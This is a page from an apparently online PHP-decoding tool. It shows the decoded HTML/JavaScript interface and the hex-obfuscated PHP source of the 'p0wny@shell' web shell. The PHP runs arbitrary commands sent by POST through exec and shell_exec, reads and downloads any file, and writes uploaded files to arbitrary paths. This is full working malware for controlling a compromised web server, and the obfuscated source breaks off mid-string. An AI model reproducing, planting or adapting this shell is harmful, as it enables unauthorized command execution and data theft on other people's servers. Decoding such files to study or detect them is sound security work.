Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"G\x4cO\x42\x41\x4c\x53"}["v\x6dsnqx\x76\x71\x6du\x65"]="\x72es\x70\x6fn\x73\x65";..

Decoded Output download

<!DOCTYPE html>

<html>

    <head>
        <meta charset="UTF-8" />
        <title>p0wny@shell:~#</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <style>
            html, body {
                margin: 0;
                padding: 0;
                background: #333;
                color: #eee;
                font-family: monospace;
            }

            *::-webkit-scrollbar-track {
                border-radius: 8px;
                background-color: #353535;
            }

            *::-webkit-scrollbar {
                width: 8px;
                height: 8px;
            }

            *::-webkit-scrollbar-thumb {
                border-radius: 8px;
                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
                background-color: #bcbcbc;
            }

            #shell {
                background: #222;
                max-width: 800px;
                margin: 50px auto 0 auto;
                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
                display: flex;
                flex-direction: column;
                align-items: stretch;
            }

            #shell-content {
                height: 500px;
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
                flex-grow: 1;
            }

            #shell-logo {
                font-weight: bold;
                color: #FF4180;
                text-align: center;
            }

            @media (max-width: 991px) {
                #shell-logo {
                    font-size: 6px;
                    margin: -25px 0;
                }

                html, body, #shell {
                    height: 100%;
                    width: 100%;
                    max-width: none;
                }

                #shell {
                    margin-top: 0;
                }
            }

            @media (max-width: 767px) {
                #shell-input {
                    flex-direction: column;
                }
            }

            @media (max-width: 320px) {
                #shell-logo {
                    font-size: 5px;
                }
            }

            .shell-prompt {
                font-weight: bold;
                color: #75DF0B;
            }

            .shell-prompt > span {
                color: #1BC9E7;
            }

            #shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
            }

            #shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }

            #shell-input #shell-cmd {
                height: 30px;
                line-height: 30px;
                border: none;
                background: transparent;
                color: #eee;
                font-family: monospace;
                font-size: 10pt;
                width: 100%;
                align-self: center;
            }

            #shell-input div {
                flex-grow: 1;
                align-items: stretch;
            }

            #shell-input input {
                outline: none;
            }
        </style>

        <script>
            var CWD = null;
            var commandHistory = [];
            var historyPosition = 0;
            var eShellCmdInput = null;
            var eShellContent = null;

            function _insertCommand(command) {
                eShellContent.innerHTML += "

";
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "
";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _defer(callback) {
                setTimeout(callback, 0);
            }

            function featureShell(command) {

                _insertCommand(command);
                if (/^\s*upload\s+[^\s]+\s*\$/.test(command)) {
                    featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*\$/)[1]);
                } else if (/^\s*clear\s*\$/.test(command)) {
                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
                    eShellContent.innerHTML = '';
                } else {
                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
                        if (response.hasOwnProperty('file')) {
                            featureDownload(response.name, response.file)
                        } else {
                            _insertStdout(response.stdout.join("
"));
                            updateCwd(response.cwd);
                        }
                    });
                }
            }

            function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete

                function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion

                    if (data.files.length === 2) {
                        if (type === 'cmd') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)\$/, data.files[0]);
                        }
                    } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("
"));
                    }
                }

                var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];

                makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );

            }

            function featureDownload(name, file) {
                var element = document.createElement('a');
                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
                element.setAttribute('download', name);
                element.style.display = 'none';
                document.body.appendChild(element);
                element.click();
                document.body.removeChild(element);
                _insertStdout('Done.');
            }

            function featureUpload(path) {
                var element = document.createElement('input');
                element.setAttribute('type', 'file');
                element.style.display = 'none';
                document.body.appendChild(element);
                element.addEventListener('change', function () {
                    var promise = getBase64(element.files[0]);
                    promise.then(function (file) {
                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
                            _insertStdout(response.stdout.join("
"));
                            updateCwd(response.cwd);
                        });
                    }, function () {
                        _insertStdout('An unknown client-side error occurred.');
                    });
                });
                element.click();
                document.body.removeChild(element);
            }

            function getBase64(file, onLoadCallback) {
                return new Promise(function(resolve, reject) {
                    var reader = new FileReader();
                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)\$/)[1]); };
                    reader.onerror = reject;
                    reader.readAsDataURL(file);
                });
            }

            function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
                }
                return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
            }

            function updateCwd(cwd) {
                if (cwd) {
                    CWD = cwd;
                    _updatePrompt();
                    return;
                }
                makeRequest("?feature=pwd", {}, function(response) {
                    CWD = response.cwd;
                    _updatePrompt();
                });

            }

            function escapeHtml(string) {
                return string
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;");
            }

            function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }

            function _onShellCmdKeyDown(event) {
                switch (event.key) {
                    case "Enter":
                        featureShell(eShellCmdInput.value);
                        insertToHistory(eShellCmdInput.value);
                        eShellCmdInput.value = "";
                        break;
                    case "ArrowUp":
                        if (historyPosition > 0) {
                            historyPosition--;
                            eShellCmdInput.blur();
                            eShellCmdInput.value = commandHistory[historyPosition];
                            _defer(function() {
                                eShellCmdInput.focus();
                            });
                        }
                        break;
                    case "ArrowDown":
                        if (historyPosition >= commandHistory.length) {
                            break;
                        }
                        historyPosition++;
                        if (historyPosition === commandHistory.length) {
                            eShellCmdInput.value = "";
                        } else {
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case 'Tab':
                        event.preventDefault();
                        featureHint();
                        break;
                }
            }

            function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }

            function makeRequest(url, params, callback) {
                function getQueryString() {
                    var a = [];
                    for (var key in params) {
                        if (params.hasOwnProperty(key)) {
                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
                        }
                    }
                    return a.join("&");
                }
                var xhr = new XMLHttpRequest();
                xhr.open("POST", url, true);
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4 && xhr.status === 200) {
                        try {
                            var responseJson = JSON.parse(xhr.responseText);
                            callback(responseJson);
                        } catch (error) {
                            alert("Error while parsing response: " + error);
                        }
                    }
                };
                xhr.send(getQueryString());
            }

            document.onclick = function(event) {
                event = event || window.event;
                var selection = window.getSelection();
                var target = event.target || event.srcElement;

                if (target.tagName === "SELECT") {
                    return;
                }

                if (!selection.toString()) {
                    eShellCmdInput.focus();
                }
            };

            window.onload = function() {
                eShellCmdInput = document.getElementById("shell-cmd");
                eShellContent = document.getElementById("shell-content");
                updateCwd();
                eShellCmdInput.focus();
            };
        </script>
    </head>

    <body>
        <div id="shell">
            <pre id="shell-content">
                <div id="shell-logo">
        ___                         ____      _          _ _        _  _   <span></span>
 _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
|_|                         |___/  \____/                                  <span></span>
                </div>
            </pre>
            <div id="shell-input">
                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
                <div>
                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
                </div>
            </div>
        </div>
    </body>

</html>

Did this file decode correctly?

Original Code

<?php ${"G\x4cO\x42\x41\x4c\x53"}["v\x6dsnqx\x76\x71\x6du\x65"]="\x72es\x70\x6fn\x73\x65";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["y\x63\x68i\x6d\x71\x69\x75m\x73h"]="\x70\x61t\x68";${"G\x4c\x4fBA\x4c\x53"}["b\x6ax\x6c\x77\x6d\x66\x63\x6d\x77p\x6a"]="f";${"\x47\x4c\x4f\x42\x41L\x53"}["p\x71gv\x6f\x76\x6eu\x68\x78"]="f\x69l\x65\x50\x61t\x68";${"\x47\x4c\x4fB\x41\x4c\x53"}["et\x63\x79\x77\x78n\x66a\x62\x6e"]="fil\x65";${"GL\x4fB\x41\x4cS"}["\x78\x6eue\x68\x7arc"]="\x66\x69\x6c\x65s";${"\x47\x4c\x4fBA\x4cS"}["\x6fq\x77c\x66z\x6bxu"]="t\x79\x70e";${"\x47\x4c\x4fB\x41L\x53"}["\x72bx\x69i\x64\x7a\x67d"]="\x6d\x61\x74\x63h";${"G\x4c\x4f\x42\x41\x4c\x53"}["a\x6d\x76\x71i\x6b\x78"]="\x63\x77\x64";${"\x47LO\x42\x41\x4c\x53"}["\x72\x71\x72\x7a\x61\x6b\x73g\x6c"]="cm\x64";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x75i\x75g\x71\x69"]="\x73\x74\x64\x6fut";function featureShell($cmd,$cwd){${${"GLOB\x41\x4c\x53"}["uu\x69\x75\x67q\x69"]}=array();${"\x47\x4c\x4f\x42\x41LS"}["w\x68\x62\x6ao\x64\x6aff\x73"]="st\x64\x6f\x75t";if(preg_match("/^\\s*\x63d\x5cs*\$/",${${"GLOB\x41\x4c\x53"}["\x72\x71\x72z\x61\x6bsg\x6c"]})){}elseif(preg_match("/^\\\x73*\x63\x64\x5c\x73+(\x2e+)\x5cs*(2>\x261)?\$/",${${"\x47\x4cO\x42\x41\x4c\x53"}["\x72\x71\x72z\x61\x6bsg\x6c"]})){${"\x47\x4cOB\x41\x4c\x53"}["\x6bd\x66\x6f\x6em\x72\x69l"]="ma\x74\x63\x68";$iusndmrc="\x6dat\x63h";chdir(${${"GL\x4f\x42AL\x53"}["a\x6d\x76\x71\x69k\x78"]});preg_match("/^\\\x73*\x63d\x5c\x73+([^\x5cs]+)\x5cs*(\x32\x3e\x261)?\$/",${${"G\x4c\x4fB\x41LS"}["\x72\x71\x72z\x61k\x73\x67\x6c"]},${${"\x47\x4cO\x42ALS"}["\x6b\x64\x66\x6fn\x6d\x72\x69\x6c"]});chdir(${$iusndmrc}[1]);}elseif(preg_match("/^\\s*\x64\x6fwn\x6c\x6fad\x5c\x73+[^\\s]+\\\x73*(2\x3e&1)?\$/",${${"\x47\x4cO\x42\x41\x4c\x53"}["rq\x72\x7a\x61\x6bs\x67l"]})){$rvnjsqd="\x63\x77\x64";${"GL\x4f\x42A\x4c\x53"}["\x73\x62je\x79\x6b\x6c\x6a"]="\x6d\x61\x74\x63\x68";$ssjhaoew="\x63m\x64";chdir(${$rvnjsqd});preg_match("/^\x5c\x73*\x64o\x77nl\x6f\x61\x64\x5c\x73+([^\x5c\x73]+)\x5c\x73*(2\x3e&1)?\$/",${$ssjhaoew},${${"\x47\x4c\x4fB\x41LS"}["\x72\x62\x78\x69\x69\x64\x7a\x67\x64"]});return featureDownload(${${"G\x4cO\x42\x41\x4c\x53"}["\x73\x62\x6ae\x79\x6b\x6cj"]}[1]);}else{${"\x47\x4c\x4f\x42A\x4c\x53"}["ff\x61\x70\x62\x70\x6fdl\x62"]="\x63\x77\x64";chdir(${${"G\x4cO\x42\x41\x4c\x53"}["f\x66\x61p\x62p\x6fdlb"]});exec(${${"G\x4c\x4f\x42\x41L\x53"}["\x72\x71\x72z\x61\x6bs\x67\x6c"]},${${"\x47\x4cO\x42\x41\x4c\x53"}["\x75\x75\x69\x75\x67\x71\x69"]});}return array("st\x64\x6f\x75\x74"=>${${"\x47\x4c\x4f\x42A\x4cS"}["w\x68\x62\x6aod\x6aff\x73"]},"c\x77d"=>getcwd());}function featurePwd(){return array("cw\x64"=>getcwd());}function featureHint($fileName,$cwd,$type){$ocniaelst="fi\x6c\x65\x73";${"G\x4c\x4fBALS"}["w\x69\x79\x71\x6a\x79\x70gu"]="\x63w\x64";chdir(${${"G\x4c\x4fB\x41L\x53"}["w\x69y\x71\x6a\x79\x70\x67\x75"]});if(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6f\x71wc\x66\x7a\x6b\x78\x75"]}=="cm\x64"){${${"\x47\x4cO\x42\x41LS"}["rqr\x7a\x61\x6b\x73\x67l"]}="c\x6f\x6d\x70\x67\x65\x6e -\x63 $fileName";}else{${"G\x4cO\x42\x41\x4c\x53"}["\x70yz\x64neq\x63f\x62"]="c\x6d\x64";${${"G\x4cOB\x41\x4c\x53"}["p\x79z\x64\x6ee\x71\x63fb"]}="compg\x65\x6e\x20-\x66\x20$fileName";}${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["r\x71\x72za\x6bs\x67l"]}="/bi\x6e/ba\x73\x68 -\x63 \"$cmd\"";${${"\x47\x4c\x4f\x42AL\x53"}["\x78nu\x65h\x7a\x72\x63"]}=explode("\n",shell_exec(${${"G\x4c\x4f\x42A\x4cS"}["r\x71r\x7aa\x6bsgl"]}));return array("f\x69l\x65\x73"=>${$ocniaelst},);}function featureDownload($filePath){${"GLOB\x41L\x53"}["v\x70\x6eq\x78\x61\x70\x68"]="\x66\x69\x6c\x65";$htlhnpwke="\x66i\x6c\x65Pa\x74\x68";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x76\x70\x6e\x71\x78\x61ph"]}=@file_get_contents(${$htlhnpwke});if(${${"G\x4c\x4f\x42\x41\x4cS"}["\x65\x74cywxn\x66\x61\x62\x6e"]}===FALSE){return array("\x73td\x6fu\x74"=>array("F\x69\x6ce no\x74\x20\x66o\x75n\x64 / no \x72\x65\x61d p\x65r\x6d\x69\x73si\x6f\x6e."),"\x63wd"=>getcwd());}else{return array("na\x6de"=>basename(${${"\x47\x4c\x4fB\x41\x4cS"}["\x70\x71\x67\x76\x6f\x76\x6e\x75\x68\x78"]}),"\x66\x69le"=>base64_encode(${${"\x47\x4c\x4fB\x41L\x53"}["\x65t\x63\x79\x77xn\x66\x61b\x6e"]}));}}function featureUpload($path,$file,$cwd){chdir(${${"GL\x4fB\x41LS"}["a\x6dvq\x69kx"]});$hwuqptlcv="f";${${"G\x4c\x4fB\x41\x4c\x53"}["\x62\x6a\x78\x6c\x77\x6df\x63\x6d\x77\x70\x6a"]}=@fopen(${${"\x47\x4c\x4f\x42A\x4cS"}["y\x63\x68\x69\x6d\x71\x69\x75ms\x68"]},"w\x62");if(${$hwuqptlcv}===FALSE){return array("stdo\x75t"=>array("\x49n\x76a\x6c\x69\x64 \x70at\x68 / no w\x72\x69te \x70\x65r\x6di\x73si\x6f\x6e\x2e"),"\x63\x77d"=>getcwd());}else{$qbyypism="f";${"\x47\x4c\x4fBA\x4cS"}["\x61d\x66q\x78xbxz"]="\x66\x69\x6c\x65";fwrite(${${"\x47\x4cO\x42\x41\x4c\x53"}["b\x6ax\x6c\x77\x6d\x66\x63\x6dwpj"]},base64_decode(${${"\x47\x4cO\x42A\x4c\x53"}["\x61\x64fq\x78\x78bx\x7a"]}));fclose(${$qbyypism});return array("\x73\x74\x64o\x75\x74"=>array("Do\x6ee\x2e"),"\x63\x77\x64"=>getcwd());}}if(isset($_GET["f\x65a\x74u\x72e"])){$nuzcvyn="\x63md";${${"\x47\x4c\x4f\x42\x41L\x53"}["\x76\x6ds\x6e\x71x\x76qm\x75\x65"]}=NULL;$lrxrhogu="\x72\x65\x73p\x6f\x6e\x73e";switch($_GET["\x66\x65a\x74\x75\x72\x65"]){case"\x73\x68\x65\x6c\x6c":${$nuzcvyn}=$_POST["\x63\x6d\x64"];if(!preg_match("/\x32>/",${${"G\x4cOB\x41L\x53"}["\x72\x71\x72\x7a\x61k\x73\x67l"]})){${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x72\x71\x72z\x61ksg\x6c"]}.="\x20\x32>&\x31";}${${"\x47L\x4fB\x41\x4cS"}["v\x6d\x73\x6e\x71\x78\x76\x71\x6du\x65"]}=featureShell(${${"GLO\x42\x41L\x53"}["rq\x72\x7a\x61k\x73\x67\x6c"]},$_POST["cw\x64"]);break;case"\x70\x77\x64":${${"\x47\x4cO\x42\x41\x4c\x53"}["\x76\x6d\x73\x6e\x71\x78\x76q\x6d\x75\x65"]}=featurePwd();break;case"hin\x74":${${"\x47\x4c\x4f\x42\x41L\x53"}["vm\x73\x6e\x71\x78\x76q\x6d\x75\x65"]}=featureHint($_POST["f\x69\x6ce\x6eam\x65"],$_POST["c\x77\x64"],$_POST["t\x79p\x65"]);break;case"u\x70l\x6fa\x64":${$lrxrhogu}=featureUpload($_POST["p\x61\x74h"],$_POST["\x66\x69l\x65"],$_POST["cw\x64"]);}$kjjxbxqtkp="res\x70o\x6e\x73\x65";header("\x43\x6fn\x74e\x6e\x74-\x54\x79p\x65:\x20a\x70pl\x69\x63a\x74ion/jso\x6e");echo json_encode(${$kjjxbxqtkp});die();}echo "<!DO\x43T\x59P\x45 \x68\x74\x6dl\x3e\n\n\x3c\x68\x74m\x6c>\n\n  \x20 \x3ch\x65ad\x3e\n\x20\x20   \x20  <\x6d\x65\x74\x61\x20\x63\x68a\x72set\x3d\x22U\x54F-\x38\x22\x20/>\n \x20\x20 \x20\x20\x20 <\x74\x69t\x6c\x65\x3e\x700w\x6e\x79\x40\x73he\x6c\x6c:~#</\x74itle\x3e\n \x20\x20 \x20\x20\x20\x20<\x6de\x74a\x20n\x61m\x65\x3d\x22v\x69\x65\x77p\x6f\x72\x74\" con\x74en\x74\x3d\"\x77\x69dth\x3dde\x76ic\x65-\x77idt\x68, i\x6ei\x74\x69\x61l-\x73\x63\x61\x6c\x65=\x31.\x30\"\x20/\x3e\n \x20     \x20\x3c\x73\x74\x79\x6ce>\n  \x20 \x20\x20\x20\x20 \x20\x20\x20html,\x20\x62o\x64y\x20{\n\x20    \x20  \x20 \x20\x20\x20\x20\x20\x20m\x61\x72gi\x6e: 0;\n      \x20 \x20   \x20\x20  \x70ad\x64i\x6eg: 0;\n\x20  \x20   \x20\x20\x20\x20 \x20 \x20 \x62\x61\x63\x6bg\x72\x6fu\x6ed: #3\x33\x33\x3b\n\x20 \x20\x20  \x20       \x20\x20co\x6c\x6f\x72:\x20\x23eee;\n\x20 \x20\x20   \x20\x20\x20      f\x6f\x6e\x74-\x66\x61mily:\x20mo\x6e\x6fs\x70ac\x65\x3b\n\x20\x20     \x20\x20 \x20 }\n\n \x20  \x20\x20\x20\x20  \x20\x20*::-webk\x69t-s\x63\x72\x6f\x6c\x6c\x62\x61\x72-\x74rack {\n\x20\x20\x20     \x20 \x20\x20\x20 \x20\x20\x62\x6frd\x65r-r\x61\x64i\x75\x73:\x208px\x3b\n\x20\x20\x20\x20      \x20 \x20  \x20\x62a\x63\x6b\x67r\x6fun\x64-\x63olor: #353\x35\x33\x35\x3b\n\x20     \x20\x20 \x20  }\n\n  \x20\x20\x20\x20   \x20\x20\x20*::-\x77eb\x6b\x69\x74-sc\x72\x6f\x6c\x6cb\x61\x72\x20{\n    \x20   \x20\x20 \x20\x20\x20\x20 w\x69\x64\x74\x68: \x38p\x78;\n\x20\x20\x20   \x20\x20\x20 \x20\x20 \x20  \x68e\x69g\x68t: \x38px\x3b\n \x20\x20       \x20\x20}\n\n \x20\x20\x20\x20  \x20\x20\x20\x20 *::-w\x65\x62\x6b\x69\x74-\x73\x63rol\x6cbar-th\x75mb\x20{\n  \x20\x20 \x20\x20\x20\x20\x20\x20    \x20\x62\x6f\x72d\x65r-r\x61diu\x73: 8\x70x\x3b\n\x20\x20    \x20\x20 \x20\x20\x20  \x20\x20-w\x65\x62ki\x74-\x62\x6f\x78-s\x68a\x64\x6f\x77: i\x6es\x65\x74\x200\x200 \x36\x70x\x20rg\x62\x61(0,\x30,0,.3);\n\x20\x20\x20\x20 \x20 \x20\x20   \x20 \x20\x20\x62\x61\x63kgr\x6f\x75nd-c\x6flo\x72: \x23\x62c\x62c\x62c;\n\x20 \x20\x20 \x20\x20\x20  \x20\x20}\n\n\x20\x20\x20 \x20 \x20\x20   \x20\x23sh\x65ll {\n\x20  \x20\x20\x20   \x20  \x20 \x20 bac\x6b\x67r\x6f\x75\x6ed:\x20#\x32\x322;\n   \x20  \x20\x20 \x20 \x20\x20\x20  \x6d\x61x-wid\x74h:\x208\x30\x30\x70x\x3b\n\x20\x20 \x20\x20  \x20\x20   \x20\x20\x20\x20m\x61r\x67\x69\x6e: 50p\x78 \x61u\x74o\x20\x30\x20a\x75\x74\x6f\x3b\n\x20\x20\x20  \x20  \x20\x20   \x20\x20 bo\x78-\x73\x68ado\x77: \x30\x200\x20\x35px \x72\x67\x62a(\x30, \x30, 0, \x2e3);\n\x20   \x20  \x20\x20\x20\x20\x20  \x20\x20font-\x73\x69\x7a\x65:\x2010p\x74;\n \x20   \x20\x20\x20\x20       dis\x70l\x61\x79: f\x6c\x65x\x3b\n\x20 \x20\x20\x20    \x20\x20\x20\x20   \x66lex-\x64\x69r\x65c\x74i\x6fn: c\x6f\x6cu\x6d\x6e\x3b\n\x20\x20 \x20 \x20     \x20\x20\x20\x20\x20\x61\x6ci\x67n-\x69\x74em\x73:\x20s\x74\x72etch;\n \x20 \x20\x20    \x20  }\n\n  \x20\x20 \x20  \x20\x20  #s\x68\x65ll-c\x6fn\x74e\x6et {\n   \x20\x20   \x20\x20  \x20\x20\x20 h\x65i\x67\x68\x74:\x20\x35\x30\x30\x70\x78;\n  \x20\x20 \x20\x20\x20 \x20 \x20\x20\x20\x20\x20ov\x65r\x66\x6co\x77:\x20\x61uto;\n \x20 \x20  \x20 \x20\x20  \x20 \x20\x20p\x61dd\x69\x6eg: 5p\x78\x3b\n  \x20\x20 \x20\x20 \x20 \x20\x20\x20 \x20\x20\x77hite-\x73pace:\x20\x70\x72\x65-w\x72a\x70;\n\x20 \x20 \x20   \x20\x20 \x20\x20   f\x6c\x65\x78-g\x72ow:\x20\x31;\n\x20 \x20    \x20\x20\x20  }\n\n\x20 \x20\x20\x20   \x20\x20 \x20\x23\x73h\x65\x6c\x6c-log\x6f {\n \x20\x20\x20 \x20\x20 \x20\x20\x20   \x20\x20f\x6f\x6e\x74-we\x69ght: \x62\x6fld;\n\x20    \x20\x20 \x20\x20\x20 \x20   \x63olor:\x20\x23F\x464\x3180\x3b\n\x20\x20\x20        \x20\x20\x20\x20 t\x65x\x74-al\x69\x67\x6e:\x20\x63\x65\x6e\x74\x65\x72\x3b\n \x20  \x20 \x20\x20   \x20}\n\n \x20 \x20\x20   \x20\x20 \x20\x40med\x69\x61\x20(ma\x78-\x77\x69dt\x68:\x20\x3991p\x78)\x20{\n \x20\x20\x20\x20  \x20\x20\x20  \x20  \x20#\x73\x68\x65ll-\x6c\x6f\x67o {\n \x20\x20  \x20  \x20 \x20 \x20 \x20  \x20\x20 fo\x6e\x74-s\x69\x7a\x65: 6p\x78;\n\x20    \x20 \x20 \x20\x20\x20 \x20\x20  \x20\x20\x20\x6da\x72g\x69n:\x20-25px\x20\x30\x3b\n\x20\x20   \x20\x20\x20\x20\x20    \x20 }\n\n \x20\x20\x20\x20\x20    \x20 \x20\x20 \x20htm\x6c,\x20\x62\x6f\x64\x79, \x23\x73\x68\x65\x6cl {\n \x20\x20\x20\x20\x20    \x20 \x20 \x20\x20\x20\x20 \x20h\x65\x69g\x68t: 10\x30\x25\x3b\n   \x20\x20 \x20\x20\x20   \x20   \x20\x20  \x77\x69\x64\x74h:\x201\x300\x25\x3b\n   \x20\x20\x20\x20 \x20\x20 \x20\x20\x20\x20\x20\x20\x20  m\x61x-w\x69d\x74\x68:\x20none;\n \x20\x20\x20 \x20\x20  \x20\x20 \x20  \x20}\n\n\x20       \x20\x20\x20\x20\x20   #\x73he\x6c\x6c {\n \x20\x20\x20   \x20  \x20   \x20  \x20 \x20mar\x67i\x6e-t\x6f\x70:\x200;\n       \x20\x20 \x20  \x20\x20\x20}\n\x20\x20    \x20\x20\x20  \x20}\n\n\x20\x20          \x40me\x64ia\x20(\x6dax-\x77i\x64\x74h: 76\x37\x70\x78)\x20{\n\x20  \x20  \x20     \x20\x20\x20\x20#\x73h\x65ll-inpu\x74\x20{\n    \x20   \x20\x20 \x20\x20\x20\x20\x20\x20   \x66l\x65\x78-\x64\x69\x72\x65\x63\x74ion: \x63o\x6c\x75\x6d\x6e\x3b\n     \x20   \x20\x20\x20  \x20\x20}\n\x20 \x20     \x20 \x20 }\n\n\x20\x20\x20    \x20 \x20\x20\x20@me\x64ia\x20(ma\x78-\x77i\x64\x74h: 3\x32\x30p\x78)\x20{\n \x20 \x20   \x20  \x20   \x20 \x23\x73\x68\x65\x6c\x6c-lo\x67o {\n  \x20\x20  \x20\x20 \x20  \x20 \x20 \x20\x20  \x66\x6fnt-\x73\x69\x7a\x65: 5p\x78;\n    \x20    \x20\x20\x20    }\n  \x20 \x20 \x20\x20\x20 \x20\x20}\n\n \x20\x20\x20\x20  \x20\x20 \x20 \x2esh\x65ll-\x70r\x6fmpt {\n\x20\x20   \x20\x20\x20  \x20\x20   \x20f\x6fn\x74-\x77e\x69\x67\x68t: \x62ol\x64;\n\x20\x20  \x20   \x20\x20\x20\x20 \x20\x20 c\x6f\x6c\x6fr: \x2375D\x460B\x3b\n   \x20\x20\x20 \x20  \x20\x20}\n\n  \x20\x20\x20\x20\x20\x20\x20\x20\x20 \x2e\x73hell-p\x72\x6fm\x70\x74 \x3e\x20\x73\x70a\x6e {\n\x20 \x20 \x20 \x20  \x20\x20  \x20  c\x6fl\x6fr:\x20\x23\x31\x42C9\x457;\n \x20    \x20   \x20\x20}\n\n   \x20 \x20 \x20 \x20\x20 #\x73\x68ell-\x69\x6eput\x20{\n   \x20 \x20\x20\x20  \x20  \x20 \x20di\x73\x70l\x61\x79:\x20\x66le\x78;\n\x20  \x20\x20 \x20\x20\x20  \x20\x20   \x62ox-s\x68\x61\x64\x6fw:\x200\x20-\x31\x70\x78\x200\x20\x72\x67\x62a(\x30,\x200,\x20\x30,\x20.\x33);\n \x20\x20\x20 \x20\x20\x20 \x20\x20\x20 \x20\x20\x20bord\x65\x72-t\x6fp: r\x67ba(\x32\x355, 2\x355,\x20255,\x20\x2e\x305)\x20s\x6f\x6c\x69\x64\x201p\x78\x3b\n  \x20\x20\x20  \x20    }\n\n \x20\x20\x20  \x20     \x23sh\x65ll-i\x6e\x70ut\x20\x3e \x6ca\x62\x65l\x20{\n\x20 \x20  \x20\x20\x20 \x20    \x20 \x66lex-\x67row:\x20\x30\x3b\n\x20\x20\x20\x20     \x20\x20     \x64\x69\x73p\x6ca\x79:\x20\x62l\x6f\x63\x6b\x3b\n \x20 \x20      \x20\x20 \x20\x20\x20\x70add\x69\x6eg:\x200\x205\x70x\x3b\n\x20\x20\x20\x20   \x20  \x20\x20\x20  \x20\x68e\x69ght: 30px;\n\x20      \x20 \x20 \x20\x20 \x20\x20l\x69\x6ee-\x68\x65i\x67ht:\x20\x33\x30\x70x\x3b\n   \x20  \x20   \x20\x20}\n\n\x20\x20 \x20   \x20\x20\x20  \x23\x73h\x65\x6cl-\x69nput #\x73h\x65\x6cl-\x63\x6d\x64\x20{\n    \x20\x20 \x20\x20    \x20  \x68\x65\x69ght:\x20\x330\x70x\x3b\n\x20\x20\x20\x20 \x20\x20 \x20\x20\x20\x20 \x20  l\x69n\x65-\x68ei\x67\x68\x74:\x2030p\x78;\n   \x20\x20 \x20  \x20\x20  \x20  b\x6frd\x65\x72:\x20no\x6e\x65\x3b\n\x20 \x20\x20   \x20\x20 \x20\x20\x20   bac\x6bgro\x75nd: \x74r\x61\x6es\x70\x61\x72\x65\x6e\x74\x3b\n\x20  \x20\x20\x20   \x20  \x20   c\x6flor: \x23e\x65e;\n\x20\x20\x20\x20     \x20\x20 \x20\x20\x20 \x66ont-\x66\x61\x6d\x69ly:\x20\x6d\x6f\x6eo\x73\x70a\x63\x65\x3b\n   \x20\x20\x20 \x20\x20\x20\x20\x20\x20   \x66\x6f\x6et-\x73\x69\x7ae:\x20\x31\x30\x70t;\n \x20 \x20\x20\x20\x20\x20\x20  \x20   \x20\x77i\x64\x74\x68:\x20100%\x3b\n \x20 \x20\x20  \x20\x20\x20  \x20\x20  al\x69gn-sel\x66: cent\x65r\x3b\n \x20\x20\x20 \x20  \x20 \x20\x20}\n\n\x20   \x20  \x20\x20 \x20 